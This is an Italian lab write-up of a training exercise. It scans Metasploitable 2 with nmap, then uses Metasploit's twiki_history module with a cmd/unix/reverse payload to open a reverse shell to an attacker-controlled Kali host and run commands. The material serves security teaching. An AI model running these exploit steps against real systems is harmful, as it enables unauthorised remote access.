

Esercizio W16D1 seconda parte

Nel secondo esercizio lavoreremo con Metasploit per entrare all'interno del sito web Twiki, messo in ascolto sulla porta 80/tcp di Metasploitable 2.

Controllo servizio con nmap

Assicuriamoci sempre che il servizio sia aperto tra le common ports. Eseguiamo una SYN scan con nmap. (Per fare prima utilizzo un vecchio screenshot usato per il servizio vsftpd).

```
(kali@kali)-[~]
└─$ sudo nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 18:17 EST
Nmap scan report for 192.168.1.149
Host is up (0.00023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:CD:4D:11 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Service vsftpd
open on 21/tcp

Apertura Metasploit

Apriamo il servizio Metasploit e selezioniamo il modulo che ci interessa. In questo caso optiamo per twiki_history.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use help <command> to learn more about any command
File System

.,:ok000kdc'      'cdk000ko:,
,x0000000000000c  e000000000000x:
:000000000000000k, ,k000000000000000:
'0000000000kkk00000: :0000000000000000'
o00000000. ,o0000e0000l. ,o0000000e
d00000000. ,c00000c. ,o0000000x
l00000000. ;d; ,o0000000l
,o0000000. ;; ; ,o0000000.
c0000000. ,00c. 'o00. ,o0000000c
o0000000. ,0000. :0000. ,o000000e
l00000. ,0000. :0000. ,o0000l
;0000' ,0000. :0000. ;0000;
.d000e .0000eccc0000. x00d.
,k0l .0000000000000. .d0k,
:kk; ,0000000000000.c0k:
;k000000000000000k:
,x000000000000x,
.l0000000l.
,d0d,
.

=[ metasploit v6.3.50-dev ]
+ --[ 2384 exploits - 1235 auxiliary - 417 post ]
+ --[ 1391 payloads - 46 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search TWikiUsers rev parameter command execution

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/twiki_history

msf6 > use exploit/unix/webapp/twiki_history
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) >
```

msfconsole +
module
twiki_history

Preparazione modulo

Come ogni exploit di Metasploit, prepariamo il modulo. Inseriamo l'indirizzo da attaccare, il solito per Metasploitable2. Inoltre, scegliamo il payload indicato dalla traccia, cmd/unix/reverse. La nostra macchina invierà il payload, che porrà in ascolto Kali. Quando quest'ultima raggiungerà la macchina vittima, una richiesta di connessione verrà effettuata, generando così una shell reverse. Una volta pronto, lanciamo il modulo con exploit.

```
Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  --      -
Proxies     no                      A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS      yes                     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       80                      The target port (TCP)
SSL         false                   Negotiate SSL/TLS for outgoing connections
URI         /twiki/bin              TWiki bin directory path
VHOST       no                      HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.1.25     yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(unix/webapp/twiki_history) > set payload/cmd/unix/reverse
[-] Unknown datastore option: payload/cmd/unix/reverse. Did you mean PayloadUUIDName?
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from 'show payloads'.

OPTIONS:

  -c, --clear  Clear the values, explicitly setting to nil (default)
  -g, --global Operate on global datastore variables
  -h, --help   Help banner.

msf6 exploit(unix/webapp/twiki_history) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```

show options and
set payload

```
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  --      -
Proxies     no                      A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS      192.168.1.40       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       80                  The target port (TCP)
SSL         false              Negotiate SSL/TLS for outgoing connections
URI         /twiki/bin         TWiki bin directory path
VHOST       no                  HTTP server virtual host

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.1.25     yes       The listen address (an interface may be specified)
LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic
```

analyze options
again

Risultati

Tornando sul sito Twiki, modifichiamo l'URL e scegliamo i comandi da lanciare per ottenere informazioni importanti. Possiamo usare `uname -e`

per ottenere informazioni sul sistema operativo, ls per visionare le cartelle presenti, oppure whoami per avere il nome dell'utente corrente.

